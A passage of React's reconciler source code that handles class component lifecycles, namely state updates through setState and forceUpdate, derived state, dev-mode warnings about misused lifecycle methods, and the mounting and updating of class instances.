}\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    const key = String(callback);\n    if (!didWarnOnInvalidCallback.has(key)) {\n      didWarnOnInvalidCallback.add(key);\n      console.error(\n        'Expected the last optional `callback` argument to be a ' +\n          'function. Instead received: %s.',\n        callback,\n      );\n    }\n  }\n}\n\nfunction warnOnUndefinedDerivedState(type: any, partialState: any) {\n  if (__DEV__) {\n    if (partialState === undefined) {\n      const componentName = getComponentNameFromType(type) || 'Component';\n      if (!didWarnAboutUndefinedDerivedState.has(componentName)) {\n        didWarnAboutUndefinedDerivedState.add(componentName);\n        console.error(\n          '%s.getDerivedStateFromProps(): A valid state object (or null) must be returned. ' +\n            'You have returned undefined.',\n          componentName,\n        );\n      }\n    }\n  }\n}\n\nfunction applyDerivedStateFromProps(\n  workInProgress: Fiber,\n  ctor: any,\n  getDerivedStateFromProps: (props: any, state: any) => any,\n  nextProps: any,\n) {\n  const prevState = workInProgress.memoizedState;\n  let partialState = getDerivedStateFromProps(nextProps, prevState);\n  if (__DEV__) {\n    if (workInProgress.mode & StrictLegacyMode) {\n      setIsStrictModeForDevtools(true);\n      try {\n        // Invoke the function an extra time to help detect side-effects.\n        partialState = getDerivedStateFromProps(nextProps, prevState);\n      } finally {\n        setIsStrictModeForDevtools(false);\n      }\n    }\n    warnOnUndefinedDerivedState(ctor, partialState);\n  }\n  // Merge the partial state and the previous state.\n  const memoizedState =\n    partialState === null || partialState === undefined\n      ? prevState\n      : assign({}, prevState, partialState);\n  workInProgress.memoizedState = memoizedState;\n\n  // Once the update queue is empty, persist the derived state onto the\n  // base state.\n  if (workInProgress.lanes === NoLanes) {\n    // Queue is always non-null for classes\n    const updateQueue: UpdateQueue<any> = (workInProgress.updateQueue: any);\n    updateQueue.baseState = memoizedState;\n  }\n}\n\nconst classComponentUpdater = {\n  // $FlowFixMe[missing-local-annot]\n  enqueueSetState(inst: any, payload: any, callback) {\n    const fiber = getInstance(inst);\n    const lane = requestUpdateLane(fiber);\n\n    const update = createUpdate(lane);\n    update.payload = payload;\n    if (callback !== undefined && callback !== null) {\n      if (__DEV__) {\n        warnOnInvalidCallback(callback);\n      }\n      update.callback = callback;\n    }\n\n    const root = enqueueUpdate(fiber, update, lane);\n    if (root !== null) {\n      startUpdateTimerByLane(lane, 'this.setState()', fiber);\n      scheduleUpdateOnFiber(root, fiber, lane);\n      entangleTransitions(root, fiber, lane);\n    }\n\n    if (enableSchedulingProfiler) {\n      markStateUpdateScheduled(fiber, lane);\n    }\n  },\n  enqueueReplaceState(inst: any, payload: any, callback: null) {\n    const fiber = getInstance(inst);\n    const lane = requestUpdateLane(fiber);\n\n    const update = createUpdate(lane);\n    update.tag = ReplaceState;\n    update.payload = payload;\n\n    if (callback !== undefined && callback !== null) {\n      if (__DEV__) {\n        warnOnInvalidCallback(callback);\n      }\n      update.callback = callback;\n    }\n\n    const root = enqueueUpdate(fiber, update, lane);\n    if (root !== null) {\n      startUpdateTimerByLane(lane, 'this.replaceState()', fiber);\n      scheduleUpdateOnFiber(root, fiber, lane);\n      entangleTransitions(root, fiber, lane);\n    }\n\n    if (enableSchedulingProfiler) {\n      markStateUpdateScheduled(fiber, lane);\n    }\n  },\n  // $FlowFixMe[missing-local-annot]\n  enqueueForceUpdate(inst: any, callback) {\n    const fiber = getInstance(inst);\n    const lane = requestUpdateLane(fiber);\n\n    const update = createUpdate(lane);\n    update.tag = ForceUpdate;\n\n    if (callback !== undefined && callback !== null) {\n      if (__DEV__) {\n        warnOnInvalidCallback(callback);\n      }\n      update.callback = callback;\n    }\n\n    const root = enqueueUpdate(fiber, update, lane);\n    if (root !== null) {\n      startUpdateTimerByLane(lane, 'this.forceUpdate()', fiber);\n      scheduleUpdateOnFiber(root, fiber, lane);\n      entangleTransitions(root, fiber, lane);\n    }\n\n    if (enableSchedulingProfiler) {\n      markForceUpdateScheduled(fiber, lane);\n    }\n  },\n};\n\nfunction checkShouldComponentUpdate(\n  workInProgress: Fiber,\n  ctor: any,\n  oldProps: any,\n  newProps: any,\n  oldState: any,\n  newState: any,\n  nextContext: any,\n) {\n  const instance = workInProgress.stateNode;\n  if (typeof instance.shouldComponentUpdate === 'function') {\n    let shouldUpdate = instance.shouldComponentUpdate(\n      newProps,\n      newState,\n      nextContext,\n    );\n    if (__DEV__) {\n      if (workInProgress.mode & StrictLegacyMode) {\n        setIsStrictModeForDevtools(true);\n        try {\n          // Invoke the function an extra time to help detect side-effects.\n          shouldUpdate = instance.shouldComponentUpdate(\n            newProps,\n            newState,\n            nextContext,\n          );\n        } finally {\n          setIsStrictModeForDevtools(false);\n        }\n      }\n      if (shouldUpdate === undefined) {\n        console.error(\n          '%s.shouldComponentUpdate(): Returned undefined instead of a ' +\n            'boolean value. Make sure to return true or false.',\n          getComponentNameFromType(ctor) || 'Component',\n        );\n      }\n    }\n\n    return shouldUpdate;\n  }\n\n  if (ctor.prototype && ctor.prototype.isPureReactComponent) {\n    return (\n      !shallowEqual(oldProps, newProps) || !shallowEqual(oldState, newState)\n    );\n  }\n\n  return true;\n}\n\nfunction checkClassInstance(workInProgress: Fiber, ctor: any, newProps: any) {\n  const instance = workInProgress.stateNode;\n  if (__DEV__) {\n    const name = getComponentNameFromType(ctor) || 'Component';\n    const renderPresent = instance.render;\n\n    if (!renderPresent) {\n      if (ctor.prototype && typeof ctor.prototype.render === 'function') {\n        console.error(\n          'No `render` method found on the %s ' +\n            'instance: did you accidentally return an object from the constructor?',\n          name,\n        );\n      } else {\n        console.error(\n          'No `render` method found on the %s ' +\n            'instance: you may have forgotten to define `render`.',\n          name,\n        );\n      }\n    }\n\n    if (\n      instance.getInitialState &&\n      !instance.getInitialState.isReactClassApproved &&\n      !instance.state\n    ) {\n      console.error(\n        'getInitialState was defined on %s, a plain JavaScript class. ' +\n          'This is only supported for classes created using React.createClass. ' +\n          'Did you mean to define a state property instead?',\n        name,\n      );\n    }\n    if (\n      instance.getDefaultProps &&\n      !instance.getDefaultProps.isReactClassApproved\n    ) {\n      console.error(\n        'getDefaultProps was defined on %s, a plain JavaScript class. ' +\n          'This is only supported for classes created using React.createClass. ' +\n          'Use a static property to define defaultProps instead.',\n        name,\n      );\n    }\n    if (instance.contextType) {\n      console.error(\n        'contextType was defined as an instance property on %s. Use a static ' +\n          'property to define contextType instead.',\n        name,\n      );\n    }\n\n    if (disableLegacyContext) {\n      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {\n        didWarnAboutChildContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy childContextTypes API which was removed in React 19. ' +\n            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {\n        didWarnAboutContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy contextTypes API which was removed in React 19. ' +\n            'Use React.createContext() with static contextType instead. ' +\n            '(https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n    } else {\n      if (instance.contextTypes) {\n        console.error(\n          'contextTypes was defined as an instance property on %s. Use a static ' +\n            'property to define contextTypes instead.',\n          name,\n        );\n      }\n\n      if (\n        ctor.contextType &&\n        ctor.contextTypes &&\n        !didWarnAboutContextTypeAndContextTypes.has(ctor)\n      ) {\n        didWarnAboutContextTypeAndContextTypes.add(ctor);\n        console.error(\n          '%s declares both contextTypes and contextType static properties. ' +\n            'The legacy contextTypes property will be ignored.',\n          name,\n        );\n      }\n      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {\n        didWarnAboutChildContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy childContextTypes API which will soon be removed. ' +\n            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {\n        didWarnAboutContextTypes.add(ctor);\n        console.error(\n          '%s uses the legacy contextTypes API which will soon be removed. ' +\n            'Use React.createContext() with static contextType instead. ' +\n            '(https://react.dev/link/legacy-context)',\n          name,\n        );\n      }\n    }\n\n    if (typeof instance.componentShouldUpdate === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' +\n          'The name is phrased as a question because the function is ' +\n          'expected to return a value.',\n        name,\n      );\n    }\n    if (\n      ctor.prototype &&\n      ctor.prototype.isPureReactComponent &&\n      typeof instance.shouldComponentUpdate !== 'undefined'\n    ) {\n      console.error(\n        '%s has a method called shouldComponentUpdate(). ' +\n          'shouldComponentUpdate should not be used when extending React.PureComponent. ' +\n          'Please extend React.Component if shouldComponentUpdate is used.',\n        getComponentNameFromType(ctor) || 'A pure component',\n      );\n    }\n    if (typeof instance.componentDidUnmount === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentDidUnmount(). But there is no such lifecycle method. ' +\n          'Did you mean componentWillUnmount()?',\n        name,\n      );\n    }\n    if (typeof instance.componentDidReceiveProps === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentDidReceiveProps(). But there is no such lifecycle method. ' +\n          'If you meant to update the state in response to changing props, ' +\n          'use componentWillReceiveProps(). If you meant to fetch data or ' +\n          'run side-effects or mutations after React has updated the UI, use componentDidUpdate().',\n        name,\n      );\n    }\n    if (typeof instance.componentWillRecieveProps === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?',\n        name,\n      );\n    }\n    if (typeof instance.UNSAFE_componentWillRecieveProps === 'function') {\n      console.error(\n        '%s has a method called ' +\n          'UNSAFE_componentWillRecieveProps(). Did you mean UNSAFE_componentWillReceiveProps()?',\n        name,\n      );\n    }\n    const hasMutatedProps = instance.props !== newProps;\n    if (instance.props !== undefined && hasMutatedProps) {\n      console.error(\n        'When calling super() in `%s`, make sure to pass ' +\n          \"up the same props that your component's constructor was passed.\",\n        name,\n      );\n    }\n    if (instance.defaultProps) {\n      console.error(\n        'Setting defaultProps as an instance property on %s is not supported and will be ignored.' +\n          ' Instead, define defaultProps as a static property on %s.',\n        name,\n        name,\n      );\n    }\n\n    if (\n      typeof instance.getSnapshotBeforeUpdate === 'function' &&\n      typeof instance.componentDidUpdate !== 'function' &&\n      !didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.has(ctor)\n    ) {\n      didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate.add(ctor);\n      console.error(\n        '%s: getSnapshotBeforeUpdate() should be used with componentDidUpdate(). ' +\n          'This component defines getSnapshotBeforeUpdate() only.',\n        getComponentNameFromType(ctor),\n      );\n    }\n\n    if (typeof instance.getDerivedStateFromProps === 'function') {\n      console.error(\n        '%s: getDerivedStateFromProps() is defined as an instance method ' +\n          'and will be ignored. Instead, declare it as a static method.',\n        name,\n      );\n    }\n    if (typeof instance.getDerivedStateFromError === 'function') {\n      console.error(\n        '%s: getDerivedStateFromError() is defined as an instance method ' +\n          'and will be ignored. Instead, declare it as a static method.',\n        name,\n      );\n    }\n    if (typeof ctor.getSnapshotBeforeUpdate === 'function') {\n      console.error(\n        '%s: getSnapshotBeforeUpdate() is defined as a static method ' +\n          'and will be ignored. Instead, declare it as an instance method.',\n        name,\n      );\n    }\n    const state = instance.state;\n    if (state && (typeof state !== 'object' || isArray(state))) {\n      console.error('%s.state: must be set to an object or null', name);\n    }\n    if (\n      typeof instance.getChildContext === 'function' &&\n      typeof ctor.childContextTypes !== 'object'\n    ) {\n      console.error(\n        '%s.getChildContext(): childContextTypes must be defined in order to ' +\n          'use getChildContext().',\n        name,\n      );\n    }\n  }\n}\n\nfunction constructClassInstance(\n  workInProgress: Fiber,\n  ctor: any,\n  props: any,\n): any {\n  let isLegacyContextConsumer = false;\n  let unmaskedContext = emptyContextObject;\n  let context = emptyContextObject;\n  const contextType = ctor.contextType;\n\n  if (__DEV__) {\n    if ('contextType' in ctor) {\n      const isValid =\n        // Allow null for conditional declaration\n        contextType === null ||\n        (contextType !== undefined &&\n          contextType.$$typeof === REACT_CONTEXT_TYPE);\n\n      if (!isValid && !didWarnAboutInvalidateContextType.has(ctor)) {\n        didWarnAboutInvalidateContextType.add(ctor);\n\n        let addendum = '';\n        if (contextType === undefined) {\n          addendum =\n            ' However, it is set to undefined. ' +\n            'This can be caused by a typo or by mixing up named and default imports. ' +\n            'This can also happen due to a circular dependency, so ' +\n            'try moving the createContext() call to a separate file.';\n        } else if (typeof contextType !== 'object') {\n          addendum = ' However, it is set to a ' + typeof contextType + '.';\n        } else if (contextType.$$typeof === REACT_CONSUMER_TYPE) {\n          addendum = ' Did you accidentally pass the Context.Consumer instead?';\n        } else {\n          addendum =\n            ' However, it is set to an object with keys {' +\n            Object.keys(contextType).join(', ') +\n            '}.';\n        }\n        console.error(\n          '%s defines an invalid contextType. ' +\n            'contextType should point to the Context object returned by React.createContext().%s',\n          getComponentNameFromType(ctor) || 'Component',\n          addendum,\n        );\n      }\n    }\n  }\n\n  if (typeof contextType === 'object' && contextType !== null) {\n    context = readContext((contextType: any));\n  } else if (!disableLegacyContext) {\n    unmaskedContext = getUnmaskedContext(workInProgress, ctor, true);\n    const contextTypes = ctor.contextTypes;\n    isLegacyContextConsumer =\n      contextTypes !== null && contextTypes !== undefined;\n    context = isLegacyContextConsumer\n      ? getMaskedContext(workInProgress, unmaskedContext)\n      : emptyContextObject;\n  }\n\n  let instance = new ctor(props, context);\n  // Instantiate twice to help detect side-effects.\n  if (__DEV__) {\n    if (workInProgress.mode & StrictLegacyMode) {\n      setIsStrictModeForDevtools(true);\n      try {\n        instance = new ctor(props, context);\n      } finally {\n        setIsStrictModeForDevtools(false);\n      }\n    }\n  }\n\n  const state = (workInProgress.memoizedState =\n    instance.state !== null && instance.state !== undefined\n      ? instance.state\n      : null);\n  instance.updater = classComponentUpdater;\n  workInProgress.stateNode = instance;\n  // The instance needs access to the fiber so that it can schedule updates\n  setInstance(instance, workInProgress);\n  if (__DEV__) {\n    instance._reactInternalInstance = fakeInternalInstance;\n  }\n\n  if (__DEV__) {\n    if (typeof ctor.getDerivedStateFromProps === 'function' && state === null) {\n      const componentName = getComponentNameFromType(ctor) || 'Component';\n      if (!didWarnAboutUninitializedState.has(componentName)) {\n        didWarnAboutUninitializedState.add(componentName);\n        console.error(\n          '`%s` uses `getDerivedStateFromProps` but its initial state is ' +\n            '%s. This is not recommended. Instead, define the initial state by ' +\n            'assigning an object to `this.state` in the constructor of `%s`. ' +\n            'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.',\n          componentName,\n          instance.state === null ? 'null' : 'undefined',\n          componentName,\n        );\n      }\n    }\n\n    // If new component APIs are defined, \"unsafe\" lifecycles won't be called.\n    // Warn about these lifecycles if they are present.\n    // Don't warn about react-lifecycles-compat polyfilled methods though.\n    if (\n      typeof ctor.getDerivedStateFromProps === 'function' ||\n      typeof instance.getSnapshotBeforeUpdate === 'function'\n    ) {\n      let foundWillMountName = null;\n      let foundWillReceivePropsName = null;\n      let foundWillUpdateName = null;\n      if (\n        typeof instance.componentWillMount === 'function' &&\n        instance.componentWillMount.__suppressDeprecationWarning !== true\n      ) {\n        foundWillMountName = 'componentWillMount';\n      } else if (typeof instance.UNSAFE_componentWillMount === 'function') {\n        foundWillMountName = 'UNSAFE_componentWillMount';\n      }\n      if (\n        typeof instance.componentWillReceiveProps === 'function' &&\n        instance.componentWillReceiveProps.__suppressDeprecationWarning !== true\n      ) {\n        foundWillReceivePropsName = 'componentWillReceiveProps';\n      } else if (\n        typeof instance.UNSAFE_componentWillReceiveProps === 'function'\n      ) {\n        foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps';\n      }\n      if (\n        typeof instance.componentWillUpdate === 'function' &&\n        instance.componentWillUpdate.__suppressDeprecationWarning !== true\n      ) {\n        foundWillUpdateName = 'componentWillUpdate';\n      } else if (typeof instance.UNSAFE_componentWillUpdate === 'function') {\n        foundWillUpdateName = 'UNSAFE_componentWillUpdate';\n      }\n      if (\n        foundWillMountName !== null ||\n        foundWillReceivePropsName !== null ||\n        foundWillUpdateName !== null\n      ) {\n        const componentName = getComponentNameFromType(ctor) || 'Component';\n        const newApiName =\n          typeof ctor.getDerivedStateFromProps === 'function'\n            ? 'getDerivedStateFromProps()'\n            : 'getSnapshotBeforeUpdate()';\n        if (!didWarnAboutLegacyLifecyclesAndDerivedState.has(componentName)) {\n          didWarnAboutLegacyLifecyclesAndDerivedState.add(componentName);\n          console.error(\n            'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n              '%s uses %s but also contains the following legacy lifecycles:%s%s%s\\n\\n' +\n              'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n              'https://react.dev/link/unsafe-component-lifecycles',\n            componentName,\n            newApiName,\n            foundWillMountName !== null ? `\\n  ${foundWillMountName}` : '',\n            foundWillReceivePropsName !== null\n              ? `\\n  ${foundWillReceivePropsName}`\n              : '',\n            foundWillUpdateName !== null ? `\\n  ${foundWillUpdateName}` : '',\n          );\n        }\n      }\n    }\n  }\n\n  // Cache unmasked context so we can avoid recreating masked context unless necessary.\n  // ReactFiberLegacyContext usually updates this cache but can't for newly-created instances.\n  if (isLegacyContextConsumer) {\n    cacheContext(workInProgress, unmaskedContext, context);\n  }\n\n  return instance;\n}\n\nfunction callComponentWillMount(workInProgress: Fiber, instance: any) {\n  const oldState = instance.state;\n\n  if (typeof instance.componentWillMount === 'function') {\n    instance.componentWillMount();\n  }\n  if (typeof instance.UNSAFE_componentWillMount === 'function') {\n    instance.UNSAFE_componentWillMount();\n  }\n\n  if (oldState !== instance.state) {\n    if (__DEV__) {\n      console.error(\n        '%s.componentWillMount(): Assigning directly to this.state is ' +\n          \"deprecated (except inside a component's \" +\n          'constructor). Use setState instead.',\n        getComponentNameFromFiber(workInProgress) || 'Component',\n      );\n    }\n    classComponentUpdater.enqueueReplaceState(instance, instance.state, null);\n  }\n}\n\nfunction callComponentWillReceiveProps(\n  workInProgress: Fiber,\n  instance: any,\n  newProps: any,\n  nextContext: any,\n) {\n  const oldState = instance.state;\n  if (typeof instance.componentWillReceiveProps === 'function') {\n    instance.componentWillReceiveProps(newProps, nextContext);\n  }\n  if (typeof instance.UNSAFE_componentWillReceiveProps === 'function') {\n    instance.UNSAFE_componentWillReceiveProps(newProps, nextContext);\n  }\n\n  if (instance.state !== oldState) {\n    if (__DEV__) {\n      const componentName =\n        getComponentNameFromFiber(workInProgress) || 'Component';\n      if (!didWarnAboutStateAssignmentForComponent.has(componentName)) {\n        didWarnAboutStateAssignmentForComponent.add(componentName);\n        console.error(\n          '%s.componentWillReceiveProps(): Assigning directly to ' +\n            \"this.state is deprecated (except inside a component's \" +\n            'constructor). Use setState instead.',\n          componentName,\n        );\n      }\n    }\n    classComponentUpdater.enqueueReplaceState(instance, instance.state, null);\n  }\n}\n\n// Invokes the mount life-cycles on a previously never rendered instance.\nfunction mountClassInstance(\n  workInProgress: Fiber,\n  ctor: any,\n  newProps: any,\n  renderLanes: Lanes,\n): void {\n  if (__DEV__) {\n    checkClassInstance(workInProgress, ctor, newProps);\n  }\n\n  const instance = workInProgress.stateNode;\n  instance.props = newProps;\n  instance.state = workInProgress.memoizedState;\n  instance.refs = {};\n\n  initializeUpdateQueue(workInProgress);\n\n  const contextType = ctor.contextType;\n  if (typeof contextType === 'object' && contextType !== null) {\n    instance.context = readContext(contextType);\n  } else if (disableLegacyContext) {\n    instance.context = emptyContextObject;\n  } else {\n    const unmaskedContext = getUnmaskedContext(workInProgress, ctor, true);\n    instance.context = getMaskedContext(workInProgress, unmaskedContext);\n  }\n\n  if (__DEV__) {\n    if (instance.state === newProps) {\n      const componentName = getComponentNameFromType(ctor) || 'Component';\n      if (!didWarnAboutDirectlyAssigningPropsToState.has(componentName)) {\n        didWarnAboutDirectlyAssigningPropsToState.add(componentName);\n        console.error(\n          '%s: It is not recommended to assign props directly to state ' +\n            \"because updates to props won't be reflected in state. \" +\n            'In most cases, it is better to use props directly.',\n          componentName,\n        );\n      }\n    }\n\n    if (workInProgress.mode & StrictLegacyMode) {\n      ReactStrictModeWarnings.recordLegacyContextWarning(\n        workInProgress,\n        instance,\n      );\n    }\n\n    ReactStrictModeWarnings.recordUnsafeLifecycleWarnings(\n      workInProgress,\n      instance,\n    );\n  }\n\n  instance.state = workInProgress.memoizedState;\n\n  const getDerivedStateFromProps = ctor.getDerivedStateFromProps;\n  if (typeof getDerivedStateFromProps === 'function') {\n    applyDerivedStateFromProps(\n      workInProgress,\n      ctor,\n      getDerivedStateFromProps,\n      newProps,\n    );\n    instance.state = workInProgress.memoizedState;\n  }\n\n  // In order to support react-lifecycles-compat polyfilled components,\n  // Unsafe lifecycles should not be invoked for components using the new APIs.\n  if (\n    typeof ctor.getDerivedStateFromProps !== 'function' &&\n    typeof instance.getSnapshotBeforeUpdate !== 'function' &&\n    (typeof instance.UNSAFE_componentWillMount === 'function' ||\n      typeof instance.componentWillMount === 'function')\n  ) {\n    callComponentWillMount(workInProgress, instance);\n    // If we had additional state updates during this life-cycle, let's\n    // process them now.\n    processUpdateQueue(workInProgress, newProps, instance, renderLanes);\n    suspendIfUpdateReadFromEntangledAsyncAction();\n    instance.state = workInProgress.memoizedState;\n  }\n\n  if (typeof instance.componentDidMount === 'function') {\n    workInProgress.flags |= Update | LayoutStatic;\n  }\n  if (__DEV__ && (workInProgress.mode & StrictEffectsMode) !== NoMode) {\n    workInProgress.flags |= MountLayoutDev;\n  }\n}\n\nfunction resumeMountClassInstance(\n  workInProgress: Fiber,\n  ctor: any,\n  newProps: any,\n  renderLanes: Lanes,\n): boolean {\n  const instance = workInProgress.stateNode;\n\n  const unresolvedOldProps = workInProgress.memoizedProps;\n  const oldProps = resolveClassComponentProps(ctor, unresolvedOldProps);\n  instance.props = oldProps;\n\n  const oldContext = instance.context;\n  const contextType = ctor.contextType;\n  let nextContext = emptyContextObject;\n  if (typeof contextType === 'object' && contextType !== null) {\n    nextContext = readContext(contextType);\n  } else if (!disableLegacyContext) {\n    const nextLegacyUnmaskedContext = getUnmaskedContext(\n      workInProgress,\n      ctor,\n      true,\n    );\n    nextContext = getMaskedContext(workInProgress, nextLegacyUnmaskedContext);\n  }\n\n  const getDerivedStateFromProps = ctor.getDerivedStateFromProps;\n  const hasNewLifecycles =\n    typeof getDerivedStateFromProps === 'function' ||\n    typeof instance.getSnapshotBeforeUpdate === 'function';\n\n  // When comparing whether props changed, we should compare using the\n  // unresolved props object that is stored on the fiber, rather than the\n  // one that gets assigned to the instance, because that object may have been\n  // cloned to resolve default props and/or remove `ref`.\n  const unresolvedNewProps = workInProgress.pendingProps;\n  const didReceiveNewProps = unresolvedNewProps !== unresolvedOldProps;\n\n  // Note: During these life-cycles, instance.props/instance.state are what\n  // ever the previously attempted to render - not the \"current\". However,\n  // during componentDidUpdate we pass the \"current\" props.\n\n  // In order to support react-lifecycles-compat polyfilled components,\n  // Unsafe lifecycles should not be invoked for components using the new APIs.\n  if (\n    !hasNewLifecycles &&\n    (typeof instance.UNSAFE_componentWillReceiveProps === 'function' ||\n      typeof instance.componentWillReceiveProps === 'function')\n  ) {\n    if (didReceiveNewProps || oldContext !== nextContext) {\n      callComponentWillReceiveProps(\n        workInProgress,\n        instance,\n        newProps,\n        nextContext,\n      );\n    }\n  }\n\n  resetHasForceUpdateBeforeProcessing();\n\n  const oldState = workInProgress.memoizedState;\n  let newState = (instance.state = oldState);\n  processUpdateQueue(workInProgress, newProps, instance, renderLanes);\n  suspendIfUpdateReadFromEntangledAsyncAction();\n  newState = workInProgress.memoizedState;\n  if (\n    !didReceiveNewProps &&\n    oldState === newState &&\n    !hasContextChanged() &&\n    !checkHasForceUpdateAfterProcessing()\n  ) {\n    // If an update was already in progress, we should schedule an Update\n    // effect even though we're bailing out, so that cWU/cDU are called.\n    if (typeof instance.componentDidMount === 'function') {\n      workInProgress.flags |= Update | LayoutStatic;\n    }\n    if (__DEV__ && (workInProgress.mode & StrictEffectsMode) !== NoMode) {\n      workInProgress.flags |= MountLayoutDev;\n    }\n    return false;\n  }\n\n  if (typeof getDerivedStateFromProps === 'function') {\n    applyDerivedStateFromProps(\n      workInProgress,\n      ctor,\n      getDerivedStateFromProps,\n      newProps,\n    );\n    newState = workInProgress.memoizedState;\n  }\n\n  const shouldUpdate =\n    checkHasForceUpdateAfterProcessing() ||\n    checkShouldComponentUpdate(\n      workInProgress,\n      ctor,\n      oldProps,\n      newProps,\n      oldState,\n      newState,\n      nextContext,\n    );\n\n  if (shouldUpdate) {\n    // In order to support react-lifecycles-compat polyfilled components,\n    // Unsafe lifecycles should not be invoked for components using the new APIs.\n    if (\n      !hasNewLifecycles &&\n      (typeof instance.UNSAFE_componentWillMount === 'function' ||\n        typeof instance.componentWillMount === 'function')\n    ) {\n      if (typeof instance.componentWillMount === 'function') {\n        instance.componentWillMount();\n      }\n      if (typeof instance.UNSAFE_componentWillMount === 'function') {\n        instance.UNSAFE_componentWillMount();\n      }\n    }\n    if (typeof instance.componentDidMount === 'function') {\n      workInProgress.flags |= Update | LayoutStatic;\n    }\n    if (__DEV__ && (workInProgress.mode & StrictEffectsMode) !== NoMode) {\n      workInProgress.flags |= MountLayoutDev;\n    }\n  } else {\n    // If an update was already in progress, we should schedule an Update\n    // effect even though we're bailing out, so that cWU/cDU are called.\n    if (typeof instance.componentDidMount === 'function') {\n      workInProgress.flags |= Update | LayoutStatic;\n    }\n    if (__DEV__ && (workInProgress.mode & StrictEffectsMode) !== NoMode) {\n      workInProgress.flags |= MountLayoutDev;\n    }\n\n    // If shouldComponentUpdate returned false, we should still update the\n    // memoized state to indicate that this work can be reused.\n    workInProgress.memoizedProps = newProps;\n    workInProgress.memoizedState = newState;\n  }\n\n  // Update the existing instance's state, props, and context pointers even\n  // if shouldComponentUpdate returns false.\n  instance.props = newProps;\n  instance.state = newState;\n  instance.context = nextContext;\n\n  return shouldUpdate;\n}\n\n// Invokes the update life-cycles and returns false if it shouldn't rerender.\nfunction updateClassInstance(\n  current: Fiber,\n  workInProgress: Fiber,\n  ctor: any,\n  newProps: any,\n  renderLanes: Lanes,\n): boolean {\n  const instance = workInProgress.stateNode;\n\n  cloneUpdateQueue(current, workInProgress);\n\n  const unresolvedOldProps = workInProgress.memoizedProps;\n  const oldProps = resolveClassComponentProps(ctor, unresolvedOldProps);\n  instance.props = oldProps;\n  const unresolvedNewProps = workInProgress.pendingProps;\n\n  const oldContext = instance.context;\n  const contextType = ctor.contextType;\n  let nextContext = emptyContextObject;\n  if (typeof contextType === 'object' && contextType !== null) {\n    nextContext = readContext(contextType);\n  } else if (!disableLegacyContext) {\n    const nextUnmaskedContext = getUnmaskedContext(workInProgress, ctor, true);\n    nextContext = getMaskedContext(workInProgress, nextUnmaskedContext);\n  }\n\n  const getDerivedStateFromProps = ctor.getDerivedStateFromProps;\n  const hasNewLifecycles =\n    typeof getDerivedStateFromProps === 'function' ||\n    typeof instance.getSnapshotBeforeUpdate === 'function';\n\n  // Note: During these life-cycles, instance.props/instance.state are what\n  // ever the previously attempted to render - not the \"current\". However,\n  // during componentDidUpdate we pass the \"current\" props.\n\n  // In order to support react-lifecycles-compat polyfilled components,\n  // Unsafe lifecycles should not be invoked for components using the new APIs.\n  if (\n    !hasNewLifecycles &&\n    (typeof instance.UNSAFE_componentWillReceiveProps === 'function' ||\n      typeof instance.componentWillReceiveProps === 'function')\n  ) {\n    if (\n      unresolvedOldProps !== unresolvedNewProps ||\n      oldContext !== nextContext\n    ) {\n      callComponentWillReceiveProps(\n        workInProgress,\n        instance,\n        newProps,\n        nextContext,\n      );\n    }\n  }\n\n  resetHasForceUpdateBeforeProcessing();\n\n  const oldState = workInProgress.memoizedState;\n  let newState = (instance.state = oldState);\n  processUpdateQueue(workInProgress, newProps, instance, renderLanes);\n  suspendIfUpdateReadFromEntangledAsyncAction();\n  newState = workInProgress.memoizedState;\n\n  if (\n    unresolvedOldProps === unresolvedNewProps &&\n    oldState === newState &&\n    !hasContextChanged() &&\n    !checkHasForceUpdateAfterProcessing() &&\n    !(\n      current !== null &&\n      current.dependencies !== null &&\n      checkIfContextChanged(current.dependencies)\n    )\n  ) {\n    // If an update was already in progress, we should schedule an Update\n    // effect even though we're bailing out, so that cWU/cDU are called.\n    if (typeof instance.componentDidUpdate === 'function') {\n      if (\n        unresolvedOldProps !== current.memoizedProps ||\n        oldState !== current.memoizedState\n      ) {\n        workInProgress.flags |= Update;\n      }\n    }\n    if (typeof instance.getSnapshotBeforeUpdate === 'function') {\n      if (\n        unresolvedOldProps !== current.memoizedProps ||\n        oldState !== current.memoizedState\n      ) {\n        workInProgress.flags |= Snapshot;\n      }\n    }\n    return false;\n  }\n\n  if (typeof getDerivedStateFromProps === 'function') {\n    applyDerivedStateFromProps(\n      workInProgress,\n      ctor,\n      getDerivedStateFromProps,\n      newProps,\n    );\n    newState = workInProgress.memoizedState;\n  }\n\n  const shouldUpdate =\n    checkHasForceUpdateAfterProcessing() ||\n    checkShouldComponentUpdate(\n      workInProgress,\n      ctor,\n      oldProps,\n      newProps,\n      oldState,\n      newState,\n      nextContext,\n    ) ||\n    // TODO: In some cases, we'll end up checking if context has changed twice,\n    // both before and after `shouldComponentUpdate` has been called. Not ideal,\n    // but I'm loath to refactor this function. This only happens for memoized\n    // components so it's not that common.\n    (current !== null &&\n      current.dependencies !== null &&\n      checkIfContextChanged(current.dependencies));\n\n  if (shouldUpdate) {\n    // In order to support react-lifecycles-compat polyfilled components,\n    // Unsafe lifecycles should not be invoked for components using the new APIs.\n    if (\n      !hasNewLifecycles &&\n      (typeof instance.UNSAFE_componentWillUpdate === 'function' ||\n        typeof instance.componentWillUpdate === 'function')\n    ) {\n      if (typeof instance.componentWillUpdate === 'function') {\n        